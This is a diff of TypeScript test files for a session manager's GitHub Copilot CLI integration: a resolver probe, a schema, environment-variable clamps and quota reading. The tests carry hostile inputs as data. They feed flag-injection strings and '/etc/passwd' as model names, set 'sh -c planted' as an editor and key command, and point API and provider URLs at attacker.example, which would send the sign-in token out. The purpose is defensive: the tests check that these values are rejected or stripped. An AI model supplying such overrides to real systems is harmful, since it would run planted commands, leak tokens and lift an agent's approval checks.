app._pendingDeliveries.clear();
|
||||
app._updateConnectionIndicator(); // cancels it
|
||||
});
|
||||
|
||||
it('shows the count by itself once the hold elapses, and the timer is spent', async () => {
|
||||
// A real wait, on purpose: the vm context runs on its own Date and the real setTimeout, so this
|
||||
// exercises the shipped timer callback rather than a manual re-render.
|
||||
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
|
||||
app._updateConnectionIndicator();
|
||||
expect(els.connectionText.textContent).toBe('WS');
|
||||
await new Promise((r) => setTimeout(r, 1400));
|
||||
expect(els.connectionText.textContent).toBe('WS · 40B queued');
|
||||
expect((app as unknown as { _backlogHoldTimer: unknown })._backlogHoldTimer).toBeNull();
|
||||
app._pendingDeliveries.clear();
|
||||
app._updateConnectionIndicator();
|
||||
});
|
||||
|
||||
it('shows the count once the same backlog has stayed up past the hold', () => {
|
||||
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
|
||||
app._updateConnectionIndicator();
|
||||
expect(els.connectionText.textContent).toBe('WS');
|
||||
(app as unknown as { _backlogOverSince: number })._backlogOverSince = Date.now() - 1500;
|
||||
app._updateConnectionIndicator();
|
||||
expect(els.connectionText.textContent).toBe('WS · 40B queued');
|
||||
app._pendingDeliveries.clear();
|
||||
app._updateConnectionIndicator();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -458,3 +521,4 @@ describe('_updateConnectionIndicator — COD-136 unchanged-skip', () => {
|
||||
expect(els.connectionText.textContent).toBe('WS');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
/**
|
||||
* @fileoverview Tests for the GitHub Copilot CLI resolver wrapper.
|
||||
*
|
||||
* Copilot is a resolver with a version probe: `copilot` is a generic binary name, so a
|
||||
* resolved path is only accepted once `copilot --version` prints a
|
||||
* `GitHub Copilot CLI <semver>` string (e.g. `GitHub Copilot CLI 1.0.94.`). The probe EXECUTES the candidate, which is
|
||||
* exactly why it must never run under vitest — the hermeticity test below pins
|
||||
* that gate with a real executable fixture that would make the test fail
|
||||
* loudly if the gate were deleted again.
|
||||
*/
|
||||
import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { createCopilotResolverForTest } from '../src/utils/copilot-cli-resolver.js';
|
||||
import {
|
||||
cliResolveRetryDelayMs,
|
||||
createProductionCliResolverHost,
|
||||
type CliResolverHost,
|
||||
} from '../src/utils/cli-executable-resolver.js';
|
||||
|
||||
const temporaryDirectories: string[] = [];
|
||||
|
||||
afterEach(() => {
|
||||
for (const directory of temporaryDirectories.splice(0)) {
|
||||
rmSync(directory, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
function createHost(
|
||||
options: {
|
||||
processPathResult?: string | null;
|
||||
loginShellResults?: Array<string | null>;
|
||||
existingPaths?: string[];
|
||||
} = {}
|
||||
): CliResolverHost {
|
||||
const loginShellResults = [...(options.loginShellResults ?? [])];
|
||||
const existingPaths = new Set(options.existingPaths ?? []);
|
||||
return {
|
||||
processPath: '/service/bin',
|
||||
shellPath: '/bin/zsh',
|
||||
shellArgs: ['-l'],
|
||||
findOnProcessPath: () => options.processPathResult ?? null,
|
||||
findInLoginShell: () => loginShellResults.shift() ?? null,
|
||||
exists: (path) => existingPaths.has(path),
|
||||
};
|
||||
}
|
||||
|
||||
describe('GitHub Copilot CLI resolver', () => {
|
||||
it('accepts a candidate the version probe verifies and carries the version as metadata', () => {
|
||||
const binaryPath = '/service/bin/copilot';
|
||||
const probe = vi.fn(() => '1.0.94');
|
||||
const resolver = createCopilotResolverForTest(
|
||||
createHost({ processPathResult: binaryPath, existingPaths: [binaryPath] }),
|
||||
probe
|
||||
);
|
||||
|
||||
expect(resolver.resolve()).toMatchObject({
|
||||
binaryPath,
|
||||
directory: '/service/bin',
|
||||
source: 'process-path',
|
||||
metadata: '1.0.94',
|
||||
});
|
||||
expect(probe).toHaveBeenCalledWith(binaryPath);
|
||||
});
|
||||
|
||||
it('rejects a candidate the probe refuses and falls through to a later one', () => {
|
||||
// An unrelated `copilot` on the service PATH (probe returns null) must not mask
|
||||
// the real coding agent found by the login shell.
|
||||
const impostor = '/service/bin/copilot';
|
||||
const genuine = '/login-shell/bin/copilot';
|
||||
const probe = vi.fn((binPath: string) => (binPath === genuine ? '1.0.94' : null));
|
||||
const resolver = createCopilotResolverForTest(
|
||||
createHost({
|
||||
processPathResult: impostor,
|
||||
loginShellResults: [genuine],
|
||||
existingPaths: [impostor, genuine],
|
||||
}),
|
||||
probe
|
||||
);
|
||||
|
||||
expect(resolver.resolve()).toMatchObject({ binaryPath: genuine, source: 'login-shell', metadata: '1.0.94' });
|
||||
});
|
||||
|
||||
it('negative-caches a miss and retries only after the backoff elapses', () => {
|
||||
const binaryPath = '/late/bin/copilot';
|
||||
let now = 0;
|
||||
const probe = vi.fn(() => '1.0.94');
|
||||
const resolver = createCopilotResolverForTest(
|
||||
createHost({ loginShellResults: [null, binaryPath], existingPaths: [binaryPath] }),
|
||||
probe,
|
||||
() => now
|
||||
);
|
||||
|
||||
expect(resolver.resolve()).toBeNull();
|
||||
expect(resolver.resolve()).toBeNull(); // within the backoff: no re-run
|
||||
expect(probe).not.toHaveBeenCalled();
|
||||
now = cliResolveRetryDelayMs(1);
|
||||
expect(resolver.resolve()?.metadata).toBe('1.0.94');
|
||||
expect(resolver.resolve()?.binaryPath).toBe(binaryPath);
|
||||
});
|
||||
|
||||
it('never executes a copilot candidate under vitest (the ambient probe is VITEST-gated)', () => {
|
||||
// A REAL executable fixture that prints a valid version. If the guard in
|
||||
// probeCopilotVersion is ever removed again, the probe runs this script, the
|
||||
// resolution SUCCEEDS, and this test fails — pinning hermeticity by
|
||||
// behavior rather than by source text. (The suites must never execute
|
||||
// whatever `copilot` binary the machine running them happens to carry.)
|
||||
const root = mkdtempSync(join(tmpdir(), 'codeman-copilot-vitest-gate-'));
|
||||
temporaryDirectories.push(root);
|
||||
const binaryPath = join(root, 'copilot');
|
||||
writeFileSync(binaryPath, '#!/bin/sh\necho GitHub Copilot CLI 0.99.0.\n');
|
||||
chmodSync(binaryPath, 0o755);
|
||||
const hostOptions = {
|
||||
processPath: root,
|
||||
shellPath: '/bin/bash',
|
||||
shellArgs: ['-i', '-l'] as string[],
|
||||
runCommand: () => '',
|
||||
isExecutableFile: (path: string) => path === binaryPath,
|
||||
};
|
||||
|
||||
// Default (ambient) probe: the candidate is found but never executed, so
|
||||
// the VITEST gate reports it unusable and resolution misses.
|
||||
const gated = createCopilotResolverForTest(createProductionCliResolverHost(hostOptions));
|
||||
expect(gated.resolve()).toBeNull();
|
||||
|
||||
// Control: identical setup with an injected probe resolves, proving the
|
||||
// null above comes from the gate, not from the fixture or the host.
|
||||
const control = createCopilotResolverForTest(createProductionCliResolverHost(hostOptions), () => '0.99.0');
|
||||
expect(control.resolve()).toMatchObject({ binaryPath, metadata: '0.99.0' });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,25 @@
|
||||
/**
|
||||
* @fileoverview copilotConfig on the session create body: `model` and `resumeSessionId` follow a flag
|
||||
* (`--model`, `--resume`), so a value that starts with `-` would be read as its own flag and get
|
||||
* around the allowAll clamp. Both need a leading letter or digit.
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { CreateSessionSchema } from '../src/web/schemas.js';
|
||||
|
||||
const parse = (copilotConfig: unknown) =>
|
||||
CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'copilot', copilotConfig });
|
||||
|
||||
describe('copilotConfig schema', () => {
|
||||
it.each(['--yolo', '-n', '--allow-all-tools', '.hidden', '/etc/passwd'])('rejects model %s', (model) => {
|
||||
expect(parse({ model }).success).toBe(false);
|
||||
});
|
||||
|
||||
it.each(['--yolo', '-n', '--allow-all-tools'])('rejects resumeSessionId %s', (resumeSessionId) => {
|
||||
expect(parse({ resumeSessionId }).success).toBe(false);
|
||||
});
|
||||
|
||||
it.each(['auto', 'claude-sonnet-5.5', 'openai/gpt-5'])('accepts model %s', (model) => {
|
||||
expect(parse({ model }).success).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,94 @@
|
||||
import { afterEach, beforeEach, describe, it, expect } from 'vitest';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
import { _clampEnvOverridesForOwner } from '../src/web/routes/session-routes.js';
|
||||
import { CreateSessionSchema } from '../src/web/schemas.js';
|
||||
|
||||
const copilot = STOCK_CLIS.find((c) => (c.id as string) === 'copilot')!;
|
||||
|
||||
describe('GitHub Copilot custom endpoint (BYOK)', () => {
|
||||
it('injects its COPILOT_PROVIDER_* variables, with the /v1 suffix an OpenAI route needs', () => {
|
||||
expect(copilot.capabilities.customModelInjection).toEqual({
|
||||
kind: 'env',
|
||||
baseUrlVar: 'COPILOT_PROVIDER_BASE_URL',
|
||||
apiKeyVar: 'COPILOT_PROVIDER_API_KEY',
|
||||
modelVars: ['COPILOT_MODEL'],
|
||||
appendV1Suffix: true,
|
||||
});
|
||||
});
|
||||
|
||||
it('keeps every injected variable privileged, so a non-granted owner cannot set them by hand', () => {
|
||||
const injection = copilot.capabilities.customModelInjection;
|
||||
if (injection.kind !== 'env') throw new Error('expected env injection');
|
||||
for (const name of [injection.baseUrlVar, injection.apiKeyVar, ...injection.modelVars]) {
|
||||
expect(copilot.capabilities.privilegedEnvKeys).toContain(name);
|
||||
expect(name.startsWith('COPILOT_')).toBe(true); // reachable through the prefix allowlist
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('GitHub Copilot environment and sync declarations', () => {
|
||||
it('admits only its own COPILOT_ namespace, never the shared GitHub token names', () => {
|
||||
// The env allowlist is one global list with no mode context, so a foreign key here would be
|
||||
// settable on every session. COPILOT_GITHUB_TOKEN is already reachable through the prefix.
|
||||
expect(copilot.env.allowedPrefixes).toEqual(['COPILOT_']);
|
||||
expect(copilot.env.allowedKeys).toEqual([]);
|
||||
});
|
||||
|
||||
it('declares its own MCP config so Settings does not list it as unsupported', () => {
|
||||
expect(copilot.capabilities.mcpConfig).toEqual({
|
||||
path: '.copilot/mcp-config.json',
|
||||
format: 'copilot-json',
|
||||
relocation: { envVar: 'COPILOT_HOME', path: 'mcp-config.json' },
|
||||
});
|
||||
});
|
||||
|
||||
it('seeds no credentials into a Docker case', () => {
|
||||
expect(copilot.overlays?.credStore).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('GitHub Copilot multi-user clamp: the env-var half', () => {
|
||||
// COPILOT_ is an allowlisted prefix, so every variable below would otherwise pass the schema.
|
||||
// Each one hands back what the allowAll clamp removed: an approval switch, code that runs with no
|
||||
// approval row (a CLI build, an editor, a key command, skills, hooks), or the sign-in token sent to
|
||||
// a host of the caller's choosing.
|
||||
const DANGEROUS: Record<string, string> = {
|
||||
COPILOT_ALLOW_ALL: 'true',
|
||||
COPILOT_PLAN_THEN_AUTOPILOT: '1',
|
||||
COPILOT_HOME: '/tmp/planted-copilot-home',
|
||||
COPILOT_CLI_DIST_DIR: '/tmp/planted-dist',
|
||||
COPILOT_PKG_CACHE_HOME: '/tmp/planted-cache',
|
||||
COPILOT_CACHE_HOME: '/tmp/planted-cache',
|
||||
COPILOT_EDITOR: 'sh -c planted',
|
||||
COPILOT_PROVIDER_API_KEY_COMMAND: 'sh -c planted',
|
||||
COPILOT_SKILLS_DIRS: '/tmp/planted-skills',
|
||||
COPILOT_PROVIDERS_CONFIG: '/tmp/planted-providers.json',
|
||||
COPILOT_API_URL: 'https://attacker.example',
|
||||
COPILOT_GH_HOST: 'attacker.example',
|
||||
COPILOT_PROVIDER_BASE_URL: 'https://attacker.example/v1',
|
||||
COPILOT_PROVIDER_HEADERS: 'X-Planted: 1',
|
||||
};
|
||||
const ORIGINAL = process.env.CODEMAN_MULTIUSER;
|
||||
beforeEach(() => {
|
||||
process.env.CODEMAN_MULTIUSER = '1';
|
||||
});
|
||||
afterEach(() => {
|
||||
if (ORIGINAL === undefined) delete process.env.CODEMAN_MULTIUSER;
|
||||
else process.env.CODEMAN_MULTIUSER = ORIGINAL;
|
||||
});
|
||||
|
||||
it('passes the env allowlist, so only the clamp stands between these and the pane', () => {
|
||||
expect(() =>
|
||||
CreateSessionSchema.parse({ workingDir: '/tmp', mode: 'copilot', envOverrides: DANGEROUS })
|
||||
).not.toThrow();
|
||||
});
|
||||
|
||||
it("strips every one of them from a non-granted owner's overrides and keeps the harmless knobs", async () => {
|
||||
const out = await _clampEnvOverridesForOwner('nobody', {
|
||||
...DANGEROUS,
|
||||
COPILOT_GITHUB_TOKEN: 'own-token',
|
||||
COPILOT_AUTO_UPDATE: 'false',
|
||||
});
|
||||
expect(out).toEqual({ COPILOT_GITHUB_TOKEN: 'own-token', COPILOT_AUTO_UPDATE: 'false' });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,278 @@
|
||||
/**
|
||||
* @fileoverview GitHub Copilot's monthly premium-request quota for the shared plan-usage chip:
|
||||
* the quota parser, the sign-in token lookup and the read-only HTTP reader.
|
||||
*
|
||||
* The fixture is the shape `GET /copilot_internal/user` returned for a Business seat (values rounded);
|
||||
* `chat` and `completions` are `unlimited`, only `premium_interactions` is metered.
|
||||
*/
|
||||
import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { parseCopilotQuotaResponse, telemetrySignature } from '../src/usage-telemetry.js';
|
||||
import {
|
||||
COPILOT_QUOTA_URL,
|
||||
readCopilotPlanUsage,
|
||||
readCopilotPlanUsageIfEnabled,
|
||||
resolveCopilotToken,
|
||||
} from '../src/utils/copilot-plan-usage.js';
|
||||
|
||||
const RESPONSE = {
|
||||
copilot_plan: 'business',
|
||||
quota_reset_date_utc: '2026-11-01T00:00:00.000Z',
|
||||
quota_reset_date: '2026-11-01',
|
||||
quota_snapshots: {
|
||||
chat: { entitlement: 0, remaining: 0, percent_remaining: 100, unlimited: true },
|
||||
completions: { entitlement: 0, remaining: 0, percent_remaining: 100, unlimited: true },
|
||||
premium_interactions: {
|
||||
entitlement: 5000,
|
||||
remaining: 3785,
|
||||
percent_remaining: 75.7,
|
||||
unlimited: false,
|
||||
overage_permitted: true,
|
||||
overage_count: 0,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
describe('parseCopilotQuotaResponse', () => {
|
||||
it('maps premium_interactions to a monthly window with counts and the reset instant', () => {
|
||||
expect(parseCopilotQuotaResponse(RESPONSE)).toEqual({
|
||||
monthly: {
|
||||
usedPercentage: expect.closeTo(24.3, 5),
|
||||
resetAt: Date.parse('2026-11-01T00:00:00.000Z'),
|
||||
used: 1215,
|
||||
limit: 5000,
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it('ignores the unlimited chat and completions buckets entirely', () => {
|
||||
const only = { quota_snapshots: { chat: RESPONSE.quota_snapshots.chat } };
|
||||
expect(parseCopilotQuotaResponse(only)).toBeNull();
|
||||
});
|
||||
|
||||
it('has nothing to meter for an unlimited premium quota', () => {
|
||||
const unlimited = {
|
||||
quota_snapshots: {
|
||||
premium_interactions: { entitlement: 0, remaining: 0, percent_remaining: 100, unlimited: true },
|
||||
},
|
||||
};
|
||||
expect(parseCopilotQuotaResponse(unlimited)).toBeNull();
|
||||
});
|
||||
|
||||
it('derives the percent from the counts when percent_remaining is missing', () => {
|
||||
const result = parseCopilotQuotaResponse({
|
||||
quota_snapshots: { premium_interactions: { entitlement: 300, remaining: 75 } },
|
||||
quota_reset_date: '2026-11-01',
|
||||
});
|
||||
expect(result?.monthly?.usedPercentage).toBe(75);
|
||||
expect(result?.monthly?.used).toBe(225);
|
||||
});
|
||||
|
||||
it('clamps overage to 100% and keeps the real count', () => {
|
||||
const result = parseCopilotQuotaResponse({
|
||||
quota_snapshots: { premium_interactions: { entitlement: 300, remaining: -40, percent_remaining: -13.3 } },
|
||||
});
|
||||
expect(result?.monthly?.usedPercentage).toBe(100);
|
||||
expect(result?.monthly?.used).toBe(340);
|
||||
});
|
||||
|
||||
it('rejects anything it cannot read as a quota', () => {
|
||||
for (const bad of [
|
||||
null,
|
||||
undefined,
|
||||
'x',
|
||||
3,
|
||||
{},
|
||||
{ quota_snapshots: {} },
|
||||
{ quota_snapshots: { premium_interactions: 'x' } },
|
||||
]) {
|
||||
expect(parseCopilotQuotaResponse(bad)).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('returns nothing for a zero quota that is not unlimited', () => {
|
||||
expect(
|
||||
parseCopilotQuotaResponse({
|
||||
quota_snapshots: { premium_interactions: { entitlement: 0, remaining: 0, percent_remaining: 0 } },
|
||||
})
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it('changes the signature when only the limit changes (a plan change mid-month)', () => {
|
||||
// 100 requests used and the same reported percentage under both plans: only the entitlement differs.
|
||||
const quota = (entitlement: number) =>
|
||||
parseCopilotQuotaResponse({
|
||||
quota_snapshots: {
|
||||
premium_interactions: { entitlement, remaining: entitlement - 100, percent_remaining: 66.7 },
|
||||
},
|
||||
quota_reset_date_utc: '2026-11-01T00:00:00.000Z',
|
||||
})!;
|
||||
expect(telemetrySignature(quota(300))).not.toBe(telemetrySignature(quota(1500)));
|
||||
});
|
||||
|
||||
it('feeds the change-detection signature without disturbing the Claude/Codex one', () => {
|
||||
const copilot = parseCopilotQuotaResponse(RESPONSE)!;
|
||||
expect(telemetrySignature(copilot)).not.toBe(telemetrySignature({}));
|
||||
// A Claude-only payload has exactly the four-element signature it always had.
|
||||
expect(JSON.parse(telemetrySignature({ fiveHour: { usedPercentage: 10, resetAt: 1 } }))).toEqual([
|
||||
10,
|
||||
1,
|
||||
null,
|
||||
null,
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveCopilotToken', () => {
|
||||
const dirs: string[] = [];
|
||||
afterEach(() => {
|
||||
for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true });
|
||||
});
|
||||
const home = (config?: string) => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'copilot-token-'));
|
||||
dirs.push(dir);
|
||||
if (config !== undefined) {
|
||||
mkdirSync(join(dir, '.copilot'));
|
||||
writeFileSync(join(dir, '.copilot', 'config.json'), config);
|
||||
}
|
||||
return dir;
|
||||
};
|
||||
const CONFIG = [
|
||||
'// User settings belong in settings.json.',
|
||||
JSON.stringify({
|
||||
lastLoggedInUser: { host: 'https://github.com', login: 'octo' },
|
||||
authTokens: {
|
||||
'https://github.com:octo': { token: 'file-token' },
|
||||
'https://github.com:other': { token: 'other-token' },
|
||||
},
|
||||
}),
|
||||
].join('\n');
|
||||
|
||||
it('prefers the environment, in the order Copilot itself reads it', async () => {
|
||||
const h = home(CONFIG);
|
||||
await expect(resolveCopilotToken({ GITHUB_TOKEN: 'c', GH_TOKEN: 'b', COPILOT_GITHUB_TOKEN: 'a' }, h)).resolves.toBe(
|
||||
'a'
|
||||
);
|
||||
await expect(resolveCopilotToken({ GITHUB_TOKEN: 'c', GH_TOKEN: 'b' }, h)).resolves.toBe('b');
|
||||
await expect(resolveCopilotToken({ GITHUB_TOKEN: 'c' }, h)).resolves.toBe('c');
|
||||
});
|
||||
|
||||
it("falls back to the signed-in user's token in the commented config.json", async () => {
|
||||
await expect(resolveCopilotToken({}, home(CONFIG))).resolves.toBe('file-token');
|
||||
});
|
||||
|
||||
it('honours COPILOT_HOME', async () => {
|
||||
const elsewhere = home();
|
||||
mkdirSync(join(elsewhere, 'cp'));
|
||||
writeFileSync(join(elsewhere, 'cp', 'config.json'), CONFIG.replace('file-token', 'relocated'));
|
||||
await expect(resolveCopilotToken({ COPILOT_HOME: join(elsewhere, 'cp') }, home())).resolves.toBe('relocated');
|
||||
});
|
||||
|
||||
it('reads no file token for another host, a missing file or a broken one', async () => {
|
||||
const ghe = CONFIG.replace('"host":"https://github.com"', '"host":"https://ghe.example.com"');
|
||||
await expect(resolveCopilotToken({}, home(ghe))).resolves.toBeNull();
|
||||
await expect(resolveCopilotToken({}, home())).resolves.toBeNull();
|
||||
await expect(resolveCopilotToken({}, home('{ not json'))).resolves.toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('readCopilotPlanUsage', () => {
|
||||
const ok = (body: unknown, status = 200) =>
|
||||
vi.fn(async () => new Response(JSON.stringify(body), { status })) as unknown as typeof fetch;
|
||||
|
||||
it('asks api.github.com with the bearer token, no redirects, and normalizes the answer', async () => {
|
||||
const fetchFn = ok(RESPONSE);
|
||||
const usage = await readCopilotPlanUsage({ token: 'tok', fetchFn });
|
||||
expect(usage?.monthly?.limit).toBe(5000);
|
||||
const [url, init] = (fetchFn as unknown as ReturnType<typeof vi.fn>).mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toBe(COPILOT_QUOTA_URL);
|
||||
expect((init.headers as Record<string, string>).Authorization).toBe('Bearer tok');
|
||||
expect(init.redirect).toBe('error');
|
||||
});
|
||||
|
||||
it('resolves the token itself when none is passed, and sends it in the header', async () => {
|
||||
vi.stubEnv('COPILOT_GITHUB_TOKEN', 'env-token');
|
||||
try {
|
||||
const fetchFn = ok(RESPONSE);
|
||||
expect(await readCopilotPlanUsage({ fetchFn })).not.toBeNull();
|
||||
const init = (fetchFn as unknown as ReturnType<typeof vi.fn>).mock.calls[0][1] as {
|
||||
headers: Record<string, string>;
|
||||
};
|
||||
expect(init.headers.Authorization).toBe('Bearer env-token');
|
||||
} finally {
|
||||
vi.unstubAllEnvs();
|
||||
}
|
||||
});
|
||||
|
||||
it('sends nothing when there is no token', async () => {
|
||||
const fetchFn = ok(RESPONSE);
|
||||
expect(await readCopilotPlanUsage({ token: null, fetchFn })).toBeNull();
|
||||
expect(fetchFn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('answers null, never throws, on an HTTP error, a network failure or a changed shape', async () => {
|
||||
expect(await readCopilotPlanUsage({ token: 't', fetchFn: ok({ message: 'Bad credentials' }, 401) })).toBeNull();
|
||||
expect(await readCopilotPlanUsage({ token: 't', fetchFn: ok({ unexpected: true }) })).toBeNull();
|
||||
const down = vi.fn(async () => {
|
||||
throw new TypeError('fetch failed');
|
||||
}) as unknown as typeof fetch;
|
||||
expect(await readCopilotPlanUsage({ token: 't', fetchFn: down })).toBeNull();
|
||||
});
|
||||
|
||||
it('never puts the token in anything it returns', async () => {
|
||||
const usage = await readCopilotPlanUsage({ token: 'super-secret-token', fetchFn: ok(RESPONSE) });
|
||||
expect(JSON.stringify(usage)).not.toContain('super-secret-token');
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The server's 10-minute poll goes through these gates in this order: Plan Usage Limits on, then a
|
||||
* sign-in token, then the CLI installed, so a host with no Copilot sign-in never runs the CLI
|
||||
* resolver (whose last step is a login-shell probe) on every tick.
|
||||
*/
|
||||
describe('readCopilotPlanUsageIfEnabled', () => {
|
||||
const gates = (over: Partial<Parameters<typeof readCopilotPlanUsageIfEnabled>[0]> = {}) => {
|
||||
const fetchFn = vi.fn(
|
||||
async () => new Response(JSON.stringify(RESPONSE), { status: 200 })
|
||||
) as unknown as typeof fetch;
|
||||
const deps = {
|
||||
planUsageEnabled: vi.fn(async () => true),
|
||||
resolveToken: vi.fn(async (): Promise<string | null> => 'tok'),
|
||||
copilotInstalled: vi.fn(() => true),
|
||||
read: vi.fn((token: string) => readCopilotPlanUsage({ token, fetchFn })),
|
||||
...over,
|
||||
};
|
||||
return { deps, fetchFn };
|
||||
};
|
||||
|
||||
it('sends no request, and looks for no token or CLI, while Plan Usage Limits is off', async () => {
|
||||
const { deps, fetchFn } = gates({ planUsageEnabled: vi.fn(async () => false) });
|
||||
expect(await readCopilotPlanUsageIfEnabled(deps)).toBeNull();
|
||||
expect(fetchFn).not.toHaveBeenCalled();
|
||||
expect(deps.read).not.toHaveBeenCalled();
|
||||
expect(deps.resolveToken).not.toHaveBeenCalled();
|
||||
expect(deps.copilotInstalled).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('never probes for the CLI on a host with no Copilot sign-in', async () => {
|
||||
const { deps, fetchFn } = gates({ resolveToken: vi.fn(async () => null) });
|
||||
expect(await readCopilotPlanUsageIfEnabled(deps)).toBeNull();
|
||||
expect(deps.copilotInstalled).not.toHaveBeenCalled();
|
||||
expect(fetchFn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('sends no request when the CLI is not installed, whatever token the environment holds', async () => {
|
||||
const { deps, fetchFn } = gates({ copilotInstalled: vi.fn(() => false) });
|
||||
expect(await readCopilotPlanUsageIfEnabled(deps)).toBeNull();
|
||||
expect(fetchFn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('reads the quota with the resolved token once every gate passes', async () => {
|
||||
const { deps, fetchFn } = gates();
|
||||
expect((await readCopilotPlanUsageIfEnabled(deps))?.monthly?.limit).toBe(5000);
|
||||
expect(deps.read).toHaveBeenCalledWith('tok');
|
||||
expect(fetchFn).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
@@ -13,9 +13,11 @@
|
||||
* directly plus the mocked webviewFetch dispatcher).
|
||||
*/
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { getDataDir } from '../src/config/instance.js';
|
||||
import { readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { dataPath, getDataDir } from '../src/config/instance.js';
|
||||
import { customModelHostsPath } from '../src/custom-model-hosts.js';
|
||||
import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
|
||||
import { refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
|
||||
import { clearPropsProbeCache, refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
|
||||
import { webviewFetch } from '../src/web/webview-egress.js';
|
||||
|
||||
vi.mock('../src/web/webview-egress.js', async () => {
|
||||
@@ -31,6 +33,7 @@ function host(overrides: Partial<CustomModelHost> & Pick<CustomModelHost, 'id' |
|
||||
|
||||
beforeEach(() => {
|
||||
fetchMock.mockReset();
|
||||
clearPropsProbeCache();
|
||||
});
|
||||
|
||||
describe('refreshAllCustomModelHosts (the periodic re-discovery sweep)', () => {
|
||||
@@ -211,8 +214,9 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
|
||||
it('prefers the REAL configured context size parsed from /running’s launch command over /props’s unreliable n_ctx', async () => {
|
||||
// Confirmed live: llama-swap launched a model with --fit-ctx 16384 (the real, working
|
||||
// limit — the actual server then refused a request over it), but /props reported
|
||||
// n_ctx: 154112 for the same model, well over what it would really accept. /props must
|
||||
// never be reached at all once the /running command parse already answered it.
|
||||
// n_ctx: 154112 for the same model, well over what it would really accept. The context
|
||||
// must therefore keep coming from the /running command; /props is now also probed, but
|
||||
// only for `total_slots`, which the command does not state.
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
fetchMock.mockImplementation(async (url: URL) => {
|
||||
@@ -235,7 +239,9 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
|
||||
{ status: 200 }
|
||||
);
|
||||
}
|
||||
if (url.pathname === '/props') throw new Error('must never be reached — the cmd parse already answered it');
|
||||
if (url.pathname === '/props') {
|
||||
return new Response(JSON.stringify({ n_ctx: 154112, total_slots: 4 }), { status: 200 });
|
||||
}
|
||||
throw new Error(`unexpected request: ${url.href}`);
|
||||
});
|
||||
|
||||
@@ -243,6 +249,8 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelContextLengths).toEqual({ 'qwen3.8-27b': 16384 });
|
||||
expect(updated.modelSlotCounts).toEqual({ 'qwen3.8-27b': 4 });
|
||||
// /props's 154112 never becomes the context, and nothing else stores it
|
||||
});
|
||||
|
||||
it('falls back to /props when /running has no cmd, or the cmd states no recognizable context flag', async () => {
|
||||
@@ -283,13 +291,245 @@ describe('refreshAllCustomModelHosts: context-length enrichment (llama.cpp/llama
|
||||
{ status: 200 }
|
||||
);
|
||||
}
|
||||
throw new Error(`unexpected request: ${url.href}`); // /props must never be reached
|
||||
if (url.pathname === '/props') return new Response('not found', { status: 404 }); // slot probe only
|
||||
throw new Error(`unexpected request: ${url.href}`);
|
||||
});
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelContextLengths).toEqual({ a: 8192 });
|
||||
expect(updated.modelSlotCounts).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('refreshAllCustomModelHosts: parallel-slot enrichment (llama.cpp splits its context across --parallel slots)', () => {
|
||||
/** One loaded model whose launch command is `cmd`; `/props` behaviour is supplied by the test. */
|
||||
function serve(cmd: string, props: () => Response) {
|
||||
fetchMock.mockImplementation(async (url: URL) => {
|
||||
if (url.pathname === '/v1/models') {
|
||||
return new Response(JSON.stringify({ data: [{ id: 'm', status: { value: 'loaded' } }] }), { status: 200 });
|
||||
}
|
||||
if (url.pathname === '/running') {
|
||||
return new Response(JSON.stringify({ running: [{ model: 'm', state: 'ready', cmd }] }), { status: 200 });
|
||||
}
|
||||
if (url.pathname === '/props') return props();
|
||||
throw new Error(`unexpected request: ${url.href}`);
|
||||
});
|
||||
}
|
||||
const propsMustNotBeReached = () => {
|
||||
throw new Error('/props must not be probed: the launch command already answered both questions');
|
||||
};
|
||||
